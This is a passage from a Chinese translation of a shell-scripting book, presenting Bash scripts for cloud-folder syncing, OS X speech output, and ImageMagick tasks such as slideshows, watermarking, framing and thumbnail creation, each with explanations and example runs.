清单 13-3 中的绝大多数内容是在测试错误条件,这虽然繁琐,但对于确保脚本正确调用并且不会弄乱任何东西非常有用。(我们可不希望丢失数据!)

复杂性来自于测试表达式,比如 ➊ 处的测试。这会测试 Dropbox 文件夹中的目标目录 $sourcedir 是不是一个文件(这会很奇怪)或一个已存在的目录。可以理解为“如果 $dropbox/$sourcedir 存在为文件 或者 存在为目录,那么...”

在另一个有趣的行中,我们调用 cp ➋ 来复制单独指定的文件。你可能需要查看 cp 的手册页,看看这些标志都有什么作用。记住,$@ 是命令调用时指定的所有位置参数的快捷方式。

运行脚本

和书中许多脚本一样,你可以不带参数地调用此脚本,快速复习一下如何使用它,正如清单 13-4 所展示的那样。

$ syncdropbox
Usage: syncdropbox [-d source-folder] {file, file, file}

清单 13-4:打印 *syncdropbox* 脚本的使用方法

结果

现在在清单 13-5 中,让我们将一个特定的文件推送到 Dropbox 进行同步和备份。

$ syncdropbox test.html
test.html -> /Users/taylor/Dropbox/sync/test.html
$

清单 13-5:将特定文件同步到 Dropbox

这很简单,而且有用,因为你会记得,这样就能让指定的文件——或者充满文件的目录——可以从任何已登录你 Dropbox 账户的设备上轻松访问。

破解脚本

当指定一个目录但该目录已存在于 Dropbox 时,比较本地和 Dropbox 目录的内容会比仅仅打印错误并失败更有用。此外,在指定一组文件时,能够指定 Dropbox 文件层级中的目标目录也会非常有用。

其他云服务

将这前两个脚本适配到微软的 OneDrive 服务或苹果的 iCloud 服务是相当简单的,因为它们具有相同的基本功能。主要的区别是命名约定和目录位置。哦,还有就是 OneDrive 在某些情况下是 OneDrive(例如需要运行的应用程序),而在其他情况下是 SkyDrive(例如你主目录中的目录)。不过,这一切都很容易管理。

#91 从云照片流创建幻灯片

有些人喜欢 iCloud 的照片备份服务——Photo Stream,而另一些人则觉得它倾向于保存每一张拍摄的照片——甚至是那些从移动设备拍摄的废弃垃圾照片——令人烦恼。不过,将照片同步到喜爱的云备份服务还是很常见的。缺点是这些文件本质上是隐藏的——因为它们深藏在文件系统中,很多照片幻灯片程序无法自动获取它们。

我们将通过slideshow来改进这一点,这是一个简单的脚本(如清单 13-6 所示),它会轮询相机上传文件夹,并显示其中的图片,限制在特定尺寸内。为了实现所需效果,我们可以使用与 ImageMagick 一起提供的display工具(ImageMagick 是一组功能强大的工具,你将在下一章中学习更多)。在 OS X 上,brew包管理器的用户可以轻松安装 ImageMagick:

$ brew install imagemagick --with-x11

注意

几年前,苹果停止在其主操作系统中提供 X11——一个流行的 Linux 和 BSD 图形库。为了在 OS X 上使用*slideshow*脚本,你需要通过安装 XQuartz 软件包来为 ImageMagick 提供它所需的 X11 库和资源。你可以在官方网站找到有关 XQuartz 的更多信息以及如何安装它: www.xquartz.org/

代码

   #!/bin/bash
   # slideshow--Displays a slide show of photos from the specified directory.
   #   Uses ImageMagick's "display" utility.

   delay=2              # Default delay in seconds
➊ psize="1200x900>"    # Preferred image size for display

   if [ $# -eq 0 ] ; then
     echo "Usage: $(basename $0) watch-directory" >&2
     exit 1
   fi

   watch="$1"

   if [ ! -d "$watch" ] ; then
     echo "$(basename $0): Specified directory $watch isn't a directory." >&2
     exit 1
   fi

   cd "$watch"

   if [ $? -ne 0 ] ; then
     echo "$(basename $0): Failed trying to cd into $watch" >&2
     exit 1
   fi

   suffixes="$(➋file * | grep image | cut -d: -f1 | rev | cut -d. -f1 | \
      rev | sort | uniq | sed 's/^/\*./')"

   if [ -z "$suffixes" ] ; then
     echo "$(basename $0): No images to display in folder $watch" >&2
     exit 1
   fi

   /bin/echo -n "Displaying $(ls $suffixes | wc -l) images from $watch "
➌ set -f ; echo "with suffixes $suffixes" ; set +f

   display -loop 0 -delay $delay -resize $psize -backdrop $suffixes

   exit 0

清单 13-6: *slideshow* 脚本

工作原理

清单 13-6 中并没有太多内容,除了弄清楚 ImageMagick 要求的每个参数,以便让display命令按预期执行的痛苦过程。整个第十四章都在讲解 ImageMagick,因为这些工具实在太有用了,所以这只是一个前瞻。目前,只需相信这些东西写得很正确,包括看起来很奇怪的图像几何结构1200x900> ➊,其中末尾的>表示“将图像调整到适应这些尺寸,同时保持与原始几何结构的比例”。

换句话说,一个尺寸为 2200 × 1000 的图像会自动调整大小,以适应 1200 像素宽的限制,垂直尺寸会按比例从 1000 像素缩小到 545 像素。很棒!

该脚本还确保指定目录中存在图像文件,通过file命令➋提取所有图像文件,然后通过一条相当复杂的管道序列,将文件名简化为它们的后缀(.jpg.png等)。

将这些代码放在 Shell 脚本中的问题是,每次脚本引用星号时,它会扩展为与通配符符号匹配的所有文件名,因此它不会仅仅显示**.jpg,而是当前目录中所有的.jpg文件。这就是为什么脚本暂时禁用globbing* ➌,即 Shell 将这些通配符扩展为其他文件名的能力。

然而,如果在整个脚本中禁用 globbing,display程序会抱怨找不到名为**.jpg*的图像文件。这可就不好了。

运行脚本

指定一个包含一个或多个图像文件的目录,理想情况下是来自云备份系统(如 OneDrive 或 Dropbox)的照片存档,如列表 13-7 所示。

结果

$ slideshow ~/SkyDrive/Pictures/
Displaying 2252 images from ~/Skydrive/Pictures/ with suffixes *.gif *.jpg *.png

列表 13-7:运行 *幻灯片放映* 脚本以显示云存档中的图像

运行脚本后,一个新窗口应该会弹出,缓慢地循环显示你备份和同步的图像。这将是一个非常方便的脚本,用于分享那些精彩的度假照片!

破解脚本

你可以做很多事情来让这个脚本更加优雅,其中大部分与让用户指定当前硬编码到display调用中的值有关(例如图像分辨率)。特别是,你可以允许使用不同的显示设备,以便将图像推送到第二个屏幕,或者允许用户更改图像之间的延迟时间。

#92 与 Google Drive 同步文件

Google Drive 是另一个流行的基于云的存储系统。与 Google 办公工具套件紧密集成,它实际上是整个在线编辑和制作系统的门户,这使得它作为同步目标更具吸引力。将一个 Microsoft Word 文件复制到 Google Drive 后,你可以在任何网页浏览器中编辑它,无论它是否在你的电脑上。演示文稿、电子表格甚至照片也一样。真是太有用了!

一个有趣的点是,Google Drive 并不会将 Google Docs 文件存储在你的系统上,而是存储指向云中文档的指针。例如,考虑一下这个:

$ cat M3\ Speaker\ Proposals\ \(voting\).gsheet
{"url": "https://docs.google.com/spreadsheet/ccc?key=0Atax7Q4SMjEzdGdxYVVzdXRQ
WVpBUFh1dFpiYlpZS3c&usp=docslist_api", "resource_id": "spreadsheet:0Atax7Q4SMj
EzdGdxYVVzdXRQWVpBUFh1dFpiYlpZS3c"}

这肯定不是那个电子表格的内容。

通过一些curl的操作,你可能能够编写一个工具来分析这些元数据信息,但让我们先专注于一个稍微简单一点的:一个脚本,让你选择并指定文件,自动将它们镜像到你的 Google Drive 账户中,详细内容见列表 13-8。

代码

   #!/bin/bash
   # syncgdrive--Lets you specify one or more files to automatically copy
   #   to your Google Drive folder, which syncs with your cloud account

   gdrive="$HOME/Google Drive"
   gsync="$gdrive/gsync"
   gapp="Google Drive.app"

   if [ $# -eq 0 ] ; then
     echo "Usage: $(basename $0) [file or files to sync]" >&2
     exit 1
   fi

   # First, is Google Drive running? If not, launch it.
➊ if [ -z "$(ps -ef | grep "$gapp" | grep -v grep)" ] ; then
     echo "Starting up Google Drive daemon..."
     open -a "$gapp"
   fi

   # Now, does the /gsync folder exist?
   if [ ! -d "$gsync" ] ; then
     mkdir "$gsync"
     if [ $? -ne 0 ] ; then
       echo "$(basename $0): Failed trying to mkdir $gsync" >&2
       exit 1
     fi
   fi

   for name  # Loop over the arguments passed to the script.
   do
     echo "Copying file $name to your Google Drive"
     cp -a "$name" "$gdrive/gsync/"
   done

   exit 0

列表 13-8: *同步 Google Drive* 脚本

它是如何工作的

如同脚本 #89 在第 300 页的内容, 这个脚本会在复制文件到 Google Drive 文件夹之前,检查特定的云服务守护进程是否在运行。这是在代码块➊中实现的。

为了写出真正整洁的代码,我们可能应该检查 open 调用的返回代码,但我们就把这个留给读者自己练习,好吗? image

接下来,脚本确保在 Google Drive 上存在一个名为 gsync 的子目录,如果需要,它会创建该目录,并使用 -a 选项将指定的文件或文件夹复制到其中,以确保保留创建和修改时间。

运行脚本

只需指定一个或多个你希望与 Google Drive 账户同步的文件,脚本就会自动完成所有幕后工作,确保同步成功。

结果

这个其实很酷。指定一个你希望复制到 Google Drive 的文件,就像列表 13-9 中所展示的那样。

$ syncgdrive sample.crontab
Starting up Google Drive daemon...
Copying file sample.crontab to your Google Drive
$ syncgdrive ~/Documents/what-to-expect-op-ed.doc
Copying file /Users/taylor/Documents/what-to-expect-op-ed.doc to your Google
Drive

列表 13-9:启动 Google Drive 并使用 *syncgdrive* 脚本同步文件

注意,第一次运行时,它还必须启动 Google Drive 守护进程。等待几秒钟,让文件复制到云存储系统后,它们会出现在 Google Drive 的 Web 界面上,如图 13-1 所示。

image

图 13-1: Sample.crontab 和与 Google Drive 自动同步的办公文档将在线显示。

破解脚本

这里有点虚假广告:当你指定要同步的文件时,脚本并不会保持文件与未来的更改同步;它只会复制文件一次,完成任务。如果你想要做一个有趣的黑客项目,可以创建一个更强大的版本,在其中指定你希望保持备份的文件,并定期检查这些文件,将任何新文件复制到 gsync 目录。

#93 计算机说。。。

OS X 包含一个复杂的语音合成系统,可以告诉你系统的当前状态。通常,它位于“辅助功能”选项中,但你可以用支持语音的电脑做很多事情,比如朗读错误信息或大声读取文件内容。

事实证明,所有这些强大的功能——还有一堆有趣的语音——都可以通过 OS X 中名为 say 的内置工具从命令行访问。你可以通过以下命令来测试它:

$ say "You never knew I could talk to you, did you?"

我们知道你会觉得这很有趣!

内置程序可以做很多事情,但这也是一个完美的机会,可以编写一个封装脚本,使得更容易查看已安装的语音并进行每个语音的演示。列表 13-10 中的脚本并不替代 say 命令;它只是让命令更易于使用(这是本书中的一个常见主题)。

代码

   #!/bin/bash
   # sayit--Uses the "say" command to read whatever's specified (OS X only)

   dosay="$(which say) --quality=127"
   format="$(which fmt) -w 70"

   voice=""                # Default system voice
   rate=""                 # Default to the standard speaking rate

   demovoices()
   {
     # Offer up a sample of each available voice.

➊   voicelist=$( say -v \? | grep "en_" | cut -c1-12 \
       | sed 's/ /_/;s/ //g;s/_$//')

     if [ "$1" = "list" ] ; then
       echo "Available voices: $(echo $voicelist | sed 's/ /, /g;s/_/ /g') \
         | $format"
       echo "HANDY TIP: use \"$(basename $0) demo\" to hear all the voices"
       exit 0
     fi

➋   for name in $voicelist ; do
       myname=$(echo $name | sed 's/_/ /')
       echo "Voice: $myname"
       $dosay -v "$myname" "Hello! I'm $myname. This is what I sound like."
     done

     exit 0
   }

   usage()
   {
     echo "Usage: sayit [-v voice] [-r rate] [-f file] phrase"
     echo "   or: sayit demo"
     exit 0
   }

   while getopts "df:r:v:" opt; do
     case $opt in
       d ) demovoices list    ;;
       f ) input="$OPTARG"    ;;
       r ) rate="-r $OPTARG"  ;;
       v ) voice="$OPTARG"    ;;
     esac
   done

   shift $(($OPTIND - 1))

   if [ $# -eq 0 -a -z "$input" ] ; then
     $dosay "Hey! You haven't given me any parameters to work with."
     echo "Error: no parameters specified. Specify a file or phrase."
     exit 0
   fi

   if [ "$1" = "demo" ] ; then
     demovoices
   fi

   if [ ! -z "$input" ] ; then
     $dosay $rate -v "$voice" -f $input
   else
     $dosay $rate -v "$voice" "$*"
   fi
   exit 0

列表 13-10: *sayit* 脚本

工作原理

实际上,安装的语音比总结中列出的还要多(这些只是针对英语优化的语音)。要查看完整的语音列表,我们需要回到原始的say命令,并使用-v \?参数。接下来是完整语音列表的简略版本:

$ say -v \?
Agnes       en_US   # Isn't it nice to have a computer that will talk to you?
Albert      en_US   # I have a frog in my throat. No, I mean a real frog!
Alex        en_US   # Most people recognize me by my voice.
Alice       it_IT   # Salve, mi chiamo Alice e sono una voce italiana.
--snip--
Zarvox      en_US   # That looks like a peaceful planet.
Zuzana      cs_CZ   # Dobrý den, jmenuji se Zuzana. Jsem český hlas.
$

我们最喜欢的评论是来自 Pipe Organ(“我们必须为这个阴郁的声音欢欣鼓舞。”)和 Zarvox(“那看起来像是一个和平的星球。”)。

然而,很明显,这个选择的语音太多了。而且其中一些语音真的把英语发音搞得乱七八糟。一种解决方案是通过"en_"(或者其他你偏好的语言)来筛选,只获取英语语音。你可以使用"en_US"来获取美式英语,但其他英语语音也值得一听。我们在➊处得到了所有语音的完整列表。

我们在这一块代码的结尾包括了复杂的sed替换序列,因为它不是一个格式良好的列表:有单个词的名称(Fiona)和两个词的名称(Bad News),但是空格也被用来创建列数据。为了解决这个问题,每行中的第一个空格被转换为下划线,所有其他空格则被去除。如果语音的名称是一个单词,它将看起来像这样:"Ralph_",然后最后的sed替换将去除任何尾随的下划线。在这个过程中,两个词的名称会有一个下划线,所以它们在输出给用户时需要修正。然而,这段代码的一个好处是,它使得使用默认的空格作为分隔符时,while循环变得更容易编写。

另一个有趣的部分是每个语音按顺序介绍自己——sayit demo调用——在➋处。

一旦你理解了say命令本身的工作原理,所有这一切都变得相当简单。

运行脚本

由于这个脚本生成的是音频,在书中你看不到太多内容,而且由于我们还没有《Wicked Cool Shell Scripts》的有声书(你能想象你看不到的所有内容吗?),你需要自己尝试其中的一些内容以体验结果。不过,脚本列出所有已安装语音的功能可以通过示例 13-11 来演示。

结果

$ sayit -d
Available voices: Agnes, Albert, Alex, Bad News, Bahh, Bells, Boing,
Bruce, Bubbles, Cellos, Daniel, Deranged, Fred, Good News, Hysterical,
Junior, Karen, Kathy, Moira, Pipe Organ, Princess, Ralph, Samantha,
Tessa, Trinoids, Veena, Vicki, Victoria, Whisper, Zarvox
HANDY TIP: use "sayit.sh demo" to hear all the different voices
$ sayit "Yo, yo, dog! Whassup?"
$ sayit -v "Pipe Organ" -r 60 "Yo, yo, dog! Whassup?"
$ sayit -v "Ralph" -r 80 -f alice.txt

示例 13-11:运行*sayit*脚本以打印支持的语音并进行朗读

修改脚本

say -v \?输出的仔细检查表明,至少有一个语音的语言编码错误。Fiona 被列为en-scotland,而不是en_scotland,后者会更一致(因为 Moira 被列为en_IE,而不是en-irishen-ireland)。一个简单的解决方法是让脚本同时支持en_en-。否则,你可以自己摸索,想想什么时候使用脚本或守护进程与你对话会有用。

第十五章:IMAGEMAGICK 与图形文件的操作

image

在 Linux 世界中,命令行有着极其广泛的功能,但由于它是基于文本的,你不能做太多图形相关的操作。或者说,真的不能吗?

事实证明,强大的命令行工具套件 ImageMagick 几乎适用于每一个命令行环境,从 OS X 到 Linux 以及更多平台。如果你没有在脚本#91 中(第 304 页)已经下载并安装该套件,那么你需要从www.imagemagick.org/或通过像aptyumbrew这样的包管理器进行安装。

因为这些工具是为命令行设计的,所以它们占用的磁盘空间非常小,大约只有 19MB(适用于 Windows 版本)。如果你想深入了解一些强大而灵活的软件,还可以获取源代码。开源再次获胜。

#94 更智能的图像大小分析器

file命令提供了确定文件类型的能力,在某些情况下还能获得图像的尺寸。但它常常失败:

$ file * | head -4
100_0399.png:    PNG image data, 1024 x 768, 8-bit/color RGBA, non-interlaced
8t grade art1.jpeg:  JPEG image data, JFIF standard 1.01
99icon.gif:          GIF image data, version 89a, 143 x 163
Angel.jpg:           JPEG image data, JFIF standard 1.01

PNG 和 GIF 文件是可以处理的,但那更常见的 JPEG 呢?file命令无法识别图像的尺寸,真让人烦恼!

代码

让我们通过一个脚本来解决这个问题(列表 14-1),该脚本使用 ImageMagick 的identify工具,更准确地确定图像的尺寸。

   #!/bin/bash
   # imagesize--Displays image file information and dimensions using the
   #   identify utility from ImageMagick

   for name
   do
➊   identify -format "%f: %G with %k colors.\n" "$name"
   done
   exit 0

列表 14-1:*imagesize*脚本

它是如何工作的

当你使用-verbose标志时,identify工具会提取关于每张分析图像的非常大量的信息,如它在仅一个 PNG 图形的输出中所展示的那样:

$ identify -verbose testimage.png
Image: testimage.png
  Format: PNG (Portable Network Graphics)
  Class: DirectClass
  Geometry: 1172x158+0+0
  Resolution: 72x72
  Print size: 16.2778x2.19444
  Units: Undefined

  --snip--

  Profiles:
    Profile-icc: 3144 bytes
      IEC 61966-2.1 Default RGB colour space - sRGB
  Artifacts:
    verbose: true
  Tainted: False
  Filesize: 80.9KBB
  Number pixels: 185KB
  Pixels per second: 18.52MB
  User time: 0.000u
  Elapsed time: 0:01.009
  Version: ImageMagick 6.7.7-10 2016-06-01 Q16 http://www.imagemagick.org
$

这真是太多数据了,你可能会觉得数据量太大。但如果没有-verbose标志,输出就显得相当晦涩:

$ identify testimage.png
testimage.png PNG 1172x158 1172x158+0+0 8-bit DirectClass 80.9KB 0.000u
0:00.000

我们想找到一个合适的平衡点,输出格式字符串在实现这一目标时非常有帮助。让我们更仔细地看看列表 14-1,专注于脚本中唯一有意义的行➊。

-format字符串有近 30 个选项,可以让你从一张或多张图像中精确提取你需要的数据。我们将使用%f表示原始文件名,%G作为宽度×高度的快捷方式,以及%k作为计算值,用来表示图像中使用的最大颜色数。

你可以在www.imagemagick.org/script/escape.php了解更多关于-format选项的信息。

运行脚本

ImageMagick 完成了所有的工作,所以这个脚本基本上只是编码所需的特定输出格式。正如列表 14-2 所示,获取图像信息既快捷又简单。

结果

$ imagesize * | head -4
100_0399.png: 1024x768 with 120719 colors.
8t grade art1.jpeg: 480x554 with 11548 colors.
dticon.gif: 143x163 with 80 colors.
Angel.jpg: 532x404 with 80045 colors.
$

列表 14-2:运行*imagesize*脚本

破解脚本

当前,我们能看到图像的像素大小和可用的颜色集,但一个非常有用的补充是文件大小。然而,更多的信息会很难阅读,除非对输出进行一些重新格式化。

#95 水印图像

如果你希望在网上发布时保护你的图像和其他内容,你很可能会失望。任何在线内容都可以被复制,无论你是否设置密码,使用强大的版权声明,甚至是添加阻止用户保存单张图像的代码。事实上,任何在线的东西都需要通过设备的图像缓冲区来呈现,而这个缓冲区可以通过屏幕截图或类似工具被复制。

但一切并非无望。你可以做两件事来保护你的在线图像。一种方法是只发布小尺寸的图像。看看专业摄影师的网站,你就会明白我们是什么意思。通常他们只分享缩略图,因为他们希望你购买更大的图像文件。

水印是另一种解决方案,尽管一些艺术家不愿意直接在照片上添加版权图像或其他标识信息。但使用 ImageMagick,添加水印非常容易,甚至可以批量处理,正如列表 14-3 所示。

代码

   #!/bin/bash
   # watermark--Adds specified text as a watermark on the input image,
   #   saving the output as image+wm

   wmfile="/tmp/watermark.$$.png"
   fontsize="44"                          # Should be a starting arg

   trap "$(which rm) -f $wmfile" 0 1 15    # No temp file left behind

   if [ $# -ne 2 ] ; then
     echo "Usage: $(basename $0) imagefile \"watermark text\"" >&2
     exit 1
   fi

   if [ ! -r "$1" ] ; then
     echo "$(basename $0): Can't read input image $1" >&2
     exit 1
   fi

   # To start, get the dimensions of the image.

➊ dimensions="$(identify -format "%G" "$1")"

   # Let's create the temporary watermark overlay.

➋ convert -size $dimensions xc:none -pointsize $fontsize -gravity south \
     -draw "fill black text 1,1 '$2' text 0,0 '$2' fill white text 2,2 '$2'" \
     $wmfile

   # Now let's composite the overlay and the original file.
➌ suffix="$(echo $1 | rev | cut -d. -f1 | rev)"
   prefix="$(echo $1 | rev | cut -d. -f2- | rev)"

   newfilename="$prefix+wm.$suffix"
➍ composite -dissolve 75% -gravity south $wmfile "$1" "$newfilename"

   echo "Created new watermarked image file $newfilename."

   exit 0

列表 14-3: *水印* 脚本

工作原理

这段脚本中的几乎所有混乱代码都来自 ImageMagick。是的,它做了复杂的事情,但即便如此,ImageMagick 的设计和文档让它成为一个很难使用的工具。不过,千万不要因此而放弃,因为 ImageMagick 各种工具的功能和特点非常强大,完全值得花时间去学习。

第一步是获取图像的尺寸➊,以便水印叠加层的尺寸与图像完全匹配。如果不匹配,就会发生问题!

"%G"会输出宽度×高度,然后将其作为新画布的尺寸传递给convert程序。➋处的convert命令是我们从 ImageMagick 文档中复制的,因为老实说,从零开始准确地写出它相当棘手。(要了解convert -draw参数语言的具体信息,我们建议你做个快速的在线搜索,或者你也可以直接复制我们的代码!)

新的文件名应该是基础文件名并加上"+wm",这就是➌三行代码的作用。rev命令逐字符反转输入,这样cut -d. -f1就能获取文件名的后缀,因为我们无法预测文件名中会出现多少个点。然后,后缀被重新排序,并添加"+wm."

最后,我们使用composite工具➍将各个部分组合起来,制作带水印的图像。你可以尝试不同的-dissolve值,以调整叠加层的透明度。

运行脚本

脚本接受两个参数:要加水印的图像名称和水印序列的文本。如果水印包含多个单词,请确保整个短语用引号括起来,以便正确传输,正如 列表 14-4 所示。

$ watermark test.png "(C) 2016 by Dave Taylor"
Created new watermarked image file test+wm.png.

列表 14-4:运行 *watermark* 脚本

结果

结果如 图 14-1 所示。

image

图 14-1:自动应用水印的图像

如果遇到 unable to read font 错误,那么很可能是缺少了 Ghostscript 软件套件(在 OS X 上比较常见)。为了解决这个问题,可以通过包管理器安装 Ghostscript。例如,使用以下命令在 OS X 上安装 brew 包管理器:

$ brew install ghostscript

修改脚本

水印的字体大小应根据图像的大小来调整。如果图像宽度为 280 像素,44 点的水印会太大,但如果图像宽度为 3800 像素,44 点可能又会太小。选择合适的字体大小或文本位置可以通过将其添加为另一个参数留给用户。

ImageMagick 还能够识别你系统中的字体,因此允许用户按名称指定用于水印的字体会很有帮助。

#96 图像框架

包围图像添加边框或华丽框架通常非常有用,ImageMagick 在这方面有很多功能,可以通过 convert 工具来实现。问题是,就像这个工具套件的其他部分一样,很难从 ImageMagick 文档中弄清楚如何使用这个工具。

例如,以下是 -frame 参数的解释:

geometry 参数中的尺寸部分表示图像的宽度和高度上增加的额外宽度和高度。如果 geometry 参数中没有给出偏移量,那么添加的边框将是纯色的。如果有 xy 偏移量,则表示边框的宽度和高度被分割成一个外部的斜角,厚度为 x 像素,内部的斜角厚度为 y 像素。

明白了吗?

也许直接查看一个示例会更容易。实际上,这正是我们将在这个脚本中通过 usage() 函数来做的,正如 列表 14-5 中所示。

代码

   #!/bin/bash
   # frameit--Makes it easy to add a graphical frame around
   #   an image file, using ImageMagick

   usage()
   {
   cat << EOF
   Usage: $(basename $0) -b border -c color imagename
      or  $(basename $0) -f frame  -m color imagename

   In the first case, specify border parameters as size x size or
   percentage x percentage followed by the color desired for the
   border (RGB or color name).

   In the second instance, specify the frame size and offset,
   followed by the matte color.

   EXAMPLE USAGE:
     $(basename $0) -b 15x15 -c black imagename
     $(basename $0) -b 10%x10% -c gray imagename

     $(basename $0) -f 10x10+10+0 imagename
     $(basename $0) -f 6x6+2+2 -m tomato imagename
   EOF
   exit 1
   }

   #### MAIN CODE BLOCK

   # Most of this is parsing starting arguments!

   while getopts "b:c:f:m:" opt; do
     case $opt in
     b ) border="$OPTARG";                ;;
     c ) bordercolor="$OPTARG";           ;;
     f ) frame="$OPTARG";                 ;;
     m ) mattecolor="$OPTARG";            ;;
     ? ) usage;                           ;;
     esac
   done
   shift $(($OPTIND - 1))    # Eat all the parsed arguments.

   if [ $# -eq 0 ] ; then    # No images specified?
     usage
   fi

   # Did we specify a border and a frame?

   if [ ! -z "$bordercolor" -a ! -z "$mattecolor" ] ; then
     echo "$0: You can't specify a color and matte color simultaneously." >&2
     exit 1
   fi

   if [ ! -z "$frame" -a ! -z "$border" ] ; then
     echo "$0: You can't specify a border and frame simultaneously." >&2
     exit 1
   fi

   if [ ! -z "$border" ] ; then
     args="-bordercolor $bordercolor -border $border"
   else
     args="-mattecolor $mattecolor -frame $frame"
   fi

➊ for name
   do
     suffix="$(echo $name | rev | cut -d. -f1 | rev)"
     prefix="$(echo $name | rev | cut -d. -f2- | rev)"
➋   newname="$prefix+f.$suffix"
     echo "Adding a frame to image $name, saving as $newname"
➌   convert $name $args $newname
   done

   exit 0

列表 14-5: *frameit* 脚本

工作原理

由于我们已经探讨了如何使用 getopts 来优雅地解析复杂的脚本参数,这个包装脚本相当简单,大部分工作发生在最后几行。在 for 循环 ➊ 中,创建了指定文件名的新版本,后缀为 "+f"(在文件类型后缀之前)。

对于像 abandoned-train.png 这样的文件名,后缀将是 png,前缀将是 abandoned-train。注意,我们丢失了句点(.),但当我们构建新文件名时会把它加回去 ➋。完成这一步之后,就只是调用 convert 程序并传入所有参数的问题 ➌。

运行脚本

指定你想要的框架类型——可以使用-frame(用于更复杂的 3D 效果)或-border(用于简单的边框)——以及适当的 ImageMagick 几何值,喜欢的边框或底色,以及输入的文件名(或文件名列表)。清单 14-6 展示了一个例子。

$ frameit -f 15%x15%+10+10 -m black abandoned-train.png
Adding a frame to image abandoned-train.png, saving as abandoned-train+f.png

清单 14-6:运行 *frameit* 脚本

结果

这个命令的结果如图 14-2 所示。

image

图 14-2:博物馆风格的 3D 底框

修改脚本

如果你忘记了一个参数,ImageMagick 会给出一个通常令人困惑的错误:

$ frameit -f 15%x15%+10+10 alcatraz.png
Adding a frame to image alcatraz.png, saving as alcatraz+f.png
convert: option requires an argument '-mattecolor' @ error/convert.c/
ConvertImageCommand/1936.

一个聪明的技巧是在脚本中添加额外的错误测试,以防止用户遭遇这些麻烦,你不觉得吗?

这个脚本可能会在文件名包含空格时出现问题。当然,空格绝不应该出现在用于放置在网页服务器上的文件名中,但你仍然应该修复脚本以解决这个问题。

#97 创建图像缩略图

我们很惊讶这个问题出现得如此频繁:有人在网页上放了一个极其大的图片,或者通过电子邮件发送了一张远大于计算机屏幕的照片。这不仅让人烦恼,而且浪费带宽和计算机资源。

我们将要实现的这个脚本从你给定的任何图片创建一个缩略图,允许你指定详细的高度和宽度参数,或者简单地指示生成的小图像必须适应某些尺寸。事实上,创建缩略图是官方推荐使用强大的mogrify工具的一种方式:

$ mkdir thumbs
$ mogrify -format gif -path thumbs -thumbnail 100x100 *.jpg

请注意,通常你应该在与原始图像不同的并行目录中创建缩略图,而不是与原始图像放在同一目录下。事实上,mogrify工具如果被误用,可能会非常危险,因为它会将目录中的所有图像覆盖成缩略图版本,破坏原始文件。为了解决这个问题,mogrify命令会在thumbs子目录中创建 100 × 100 的缩略图,将其从 JPEG 格式转换为 GIF 格式。

这很有用,但应用范围仍然较窄。让我们创建一个更通用的缩略图处理脚本,像清单 14-7 中所示的那样。它当然可以用来完成上述任务,但也可以用于许多其他的图像缩小任务。

代码

   #!/bin/bash
   # thumbnails--Creates thumbnail images for the graphics file specified,
   #   matching exact dimensions or not-to-exceed dimensions

   convargs="➊-unsharp 0x.5 -resize"
   count=0; exact=""; fit=""

   usage()
   {
     echo "Usage: $0 (-e|-f) thumbnail-size image [image] [image]" >&2
     echo "-e  resize to exact dimensions, ignoring original proportions" >&2
     echo "-f  fit image into specified dimensions, retaining proportion" >&2
 echo "-s  strip EXIF information (make ready for web use)" >&2
     echo "    please use WIDTHxHEIGHT for requested size (e.g., 100x100)"
     exit 1
   }

   #############
   ## BEGIN MAIN

   if [ $# -eq 0 ] ; then
     usage
   fi

   while getopts "e:f:s" opt; do
     case $opt in
      e ) exact="$OPTARG";                ;;
      f ) fit="$OPTARG";                  ;;
      s ) strip="➋-strip";               ;;
      ? ) usage;                          ;;
     esac
   done
   shift $(($OPTIND - 1))  # Eat all the parsed arguments.

   rwidth="$(echo $exact $fit | cut -dx -f1)"    # Requested width
   rheight="$(echo $exact $fit | cut -dx -f2)"   # Requested height

   for image
   do
     width="$(identify -format "%w" "$image")"
     height="$(identify -format "%h" "$image")"

     # Building thumbnail for image=$image, width=$width, and height=$height
     if [ $width -le $rwidth -a $height -le $rheight ] ; then
       echo "Image $image is already smaller than requested dimensions. Skipped."
     else
       # Build new filename.

       suffix="$(echo $image | rev | cut -d. -f1 | rev)"
       prefix="$(echo $image | rev | cut -d. -f2- | rev)"
       newname="$prefix-thumb.$suffix"

       # Add the "!" suffix to ignore proportions as needed.

➌     if [ -z "$fit" ] ; then
         size="$exact!"
         echo "Creating ${rwidth}x${rheight} (exact size) thumb for file $image"
       else
         size="$fit"
         echo "Creating ${rwidth}x${rheight} (max size) thumb for file $image"
       fi

       convert "$image" $strip $convargs "$size" "$newname"
     fi
     count=$(( $count + 1 ))
   done

   if [ $count -eq 0 ] ; then
     echo "Warning: no images found to process."
   fi

   exit 0

清单 14-7: *thumbnails* 脚本

工作原理

ImageMagick 非常复杂,它确实需要像这样的脚本来简化常见任务。在这个脚本中,我们利用了一些额外的功能,包括-strip ➋参数,用来去除可交换图像文件格式(EXIF)信息,这些信息对照片归档有用,但在网上使用时并不必要(例如,使用的相机、照片的 ISO 速度、光圈值、地理位置数据等)。

另一个新的标志是-unsharp ➊,它是一个滤镜,确保缩小的缩略图不会因为处理而变得模糊。解释这个参数的潜在值及其如何影响结果涉及大量的科学内容,因此为了简化,我们使用了0x.5这个参数而不做解释。想了解更多?网络搜索会很快提供相关细节。

理解精确大小的缩略图和适应某些尺寸的缩略图之间的区别,最好的方法是查看实例,就像在图 14-3 中那样。

图片

*图 14-3:指定大小的缩略图(*-e* *参数)与按比例适应某些尺寸的缩略图(*-f* 参数)之间的区别

创建精确缩略图和创建适应缩略图之间的区别,仅仅是一个感叹号。这就是在 ➌ 处发生的事情。

除此之外,你在这个脚本中看到的所有内容之前都见过,从文件名的分解和重组,到使用-format标志来获取当前图像的高度或宽度。

运行脚本

列表 14-8 展示了脚本的实际工作过程,它为一张夏威夷的照片创建了不同尺寸的缩略图。

结果

$ thumbnails
Usage: thumbnails (-e|-f) thumbnail-size image [image] [image]
-e  resize to exact dimensions, ignoring original proportions
-f  fit image into specified dimensions, retaining proportion
-s  strip EXIF information (make ready for web use)
    please use WIDTHxHEIGHT for requested size (e.g., 100x100)
$ thumbnails -s -e 300x300 hawaii.png
Creating 300x300 (exact size) thumb for file hawaii.png
$ thumbnails -f 300x300 hawaii.png
Creating 300x300 (max size) thumb for file hawaii.png
$

列表 14-8:运行 *thumbnails* 脚本

破解脚本

这个脚本的一个整洁的补充功能是能够根据传入的多个尺寸范围生成各种缩略图,例如,你可以一次性创建一个 100 × 100,500 × 500 和壁纸尺寸的 1024 × 768 图像。另一方面,也许这样的任务更适合交给另一个 shell 脚本来完成。

#98 解读 GPS 地理位置信息

